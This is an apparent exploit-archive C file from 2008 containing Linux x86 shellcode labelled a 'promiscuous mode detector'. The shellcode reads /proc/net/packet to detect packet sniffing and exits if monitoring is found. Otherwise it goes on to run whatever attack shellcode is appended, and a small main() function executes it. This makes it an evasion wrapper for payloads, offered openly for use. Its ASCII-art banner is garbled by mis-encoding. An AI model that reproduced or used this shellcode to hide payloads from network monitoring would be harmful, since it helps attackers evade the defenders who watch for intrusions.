54 lines
No EOL
3.2 KiB
C
54 lines
No EOL
3.2 KiB
C
/*
|
|
â–▄∙ â–„ â–„â–„â–„ . â– â–„ ∙ â–Œ â–„ ·. ▄∙ â–„â–Œ â–„â–„â–„â–„â–„ ▄▄▄·
|
|
█▌█▌■▀▄.▀· ∙█▌â–â–ˆ ■·██ â–███■█■██▌ ∙██ â–â–ˆ ▀█
|
|
·██· â–▀▀■▄ â–â–ˆâ–â–â–Œ ▄█▀▄ â–â–ˆ â–Œâ–â–Œâ–█· █▌â–█▌ â–â–ˆ.■▄█▀▀█
|
|
â– â–█·█▌ â–█▄▄▌ ██â–█▌ â–█▌.â–â–Œ ██ ██▌â–█▌ â–█▄█▌ â–█▌· â–â–ˆ â– â–â–Œ
|
|
∙▀▀ ▀▀ ▀▀▀ ▀▀ █■▀█▄▀■▀▀ █■▀▀▀ ▀▀▀ ▀▀▀ ▀ ▀
|
|
|
|
Ho' Detector (Promiscuous mode detector shellcode)
|
|
by XenoMuta <xenomuta[at]phreaker[dot]net>
|
|
http://xenomuta.tuxfamily.org/
|
|
|
|
This shellcode uses a stupid, yet effective method
|
|
for detecting sniffing on all interfaces in linux:
|
|
parsing /proc/net/packet, which contains libpcap's
|
|
stats and only one line (56 bytes) when not sniffing.
|
|
*/
|
|
|
|
char sc[]=
|
|
"\x66\x31\xC0" // xor eax,eax
|
|
"\x66\x50" // push eax
|
|
"\x66\x68\x63\x6B\x65\x74" // push dword 0x74656b63 ; cket
|
|
"\x66\x68\x74\x2F\x70\x61" // push dword 0x61702f74 ; t/pa
|
|
"\x66\x68\x63\x2F\x6E\x65" // push dword 0x656e2f63 ; c/ne
|
|
"\x66\x68\x2F\x70\x72\x6F" // push dword 0x6f72702f ; /pro
|
|
"\xB0\x05" // mov al,0x5 ; open()
|
|
"\x66\x89\xE3" // mov ebx,esp ; /proc/net/packet
|
|
"\x66\x31\xC9" // xor ecx,ecx ; O_RDONLY
|
|
"\xCD\x80" // int 0x80
|
|
"\x66\x93" // xchg eax,ebx
|
|
"\x6A\x03" // push byte +0x3 ; read()
|
|
"\x66\x58" // pop eax
|
|
"\x66\x89\xE1" // mov ecx,esp
|
|
"\x6A\x39" // push byte +0x39 ; at most 57 bytes
|
|
"\x66\x5A" // pop edx
|
|
"\xCD\x80" // int 0x80
|
|
"\x3C\x38" // cmp al,0x38 ; if only 56 bytes
|
|
"\x74\x06" // jz 0x40 ; there is no packet
|
|
"\x6A\x01" // push byte +0x1 ; capture. Proceed
|
|
"\x66\x58" // pop eax ; with shellcode
|
|
"\xCD\x80" // int 0x80 ; else, exit()
|
|
/*
|
|
Append your shellcode here
|
|
*/
|
|
"\x90";
|
|
|
|
main(){(*(void (*)()) sc)();}
|
|
-----BEGIN PGP SIGNATURE-----
|
|
|
|
iEYEARECAAYFAkkjGO0ACgkQ2LnNaOYR/B1h1QCg2uatkfAzSE5Jgc3bzJmFU/3s
|
|
opMAoLufSxvFoSNl3W+6h5rxmLIcq2Mp
|
|
=ISTU
|
|
-----END PGP SIGNATURE-----
|
|
|
|
// milw0rm.com [2008-11-18]
|